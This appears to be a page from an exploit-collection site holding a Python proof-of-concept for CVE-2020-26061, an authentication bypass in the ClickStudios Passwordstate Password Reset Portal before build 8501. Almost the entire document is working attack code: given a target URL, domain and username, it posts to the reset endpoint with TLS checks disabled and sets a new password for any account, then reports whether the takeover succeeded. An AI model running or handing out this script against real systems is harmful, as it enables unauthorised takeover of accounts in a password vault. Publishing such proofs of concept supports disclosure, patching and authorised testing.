4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-26061.py PY
#############################################################################################################################################
# Exploit Title: ClickStudios Passwordstate Password Reset Portal Authentication Bypass
# Date: 2020-10-05
# Exploit Author: Jason Juntunen (missingnull) https://github.com/missing0x00
# Software Link: https://www.clickstudios.com.au/passwordstate-changelog.aspx
# Version: ClickStudios Passwordstate Password Reset Portal Before 8.5 build 8501
# CVE: CVE-2020-26061
#############################################################################################################################################

# !/usr/bin/env python
import requests
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(add_help = True, description = "Exploit for CVE-2020-26061 - PasswordState Password Reset Portal Authentication Bypass")

parser.add_argument('-t', help='Target URL', dest='TARGET', type=str, required=True)
parser.add_argument('-d', help='Domain', dest='DOMAIN', type=str, required=True)
parser.add_argument('-u', help='User Name', dest='USERNAME', type=str, required=True)
parser.add_argument('-p', help='New Password', dest='PASSWORD', type=str, default='m!ss!ngNULL0x00')
args = parser.parse_args()
base_url = args.TARGET
domain = args.DOMAIN
name = args.USERNAME
new_pass = args.PASSWORD

user_name = domain + '\\' + name

session = requests.Session()

reset_url = base_url + "/account/ResetPassword"
http_headers = {
		"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
		"Accept": "application/json, text/javascript, */*; q=0.01",
		"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
		"X-Requested-With": "XMLHttpRequest",
		"Connection":"Close"
		}
http_data = {"user_name": user_name, "Password": new_pass, "ConfirmPassword": new_pass}
r = session.post(reset_url, headers=http_headers, data=http_data, verify=False, timeout=60)
print(r.text)

if '"Success":true' in r.text:
	print("Done! You can now log in as " + user_name + ":" + new_pass)
else:
	print("Error! Check your domain/username, otherwise application may be patched.")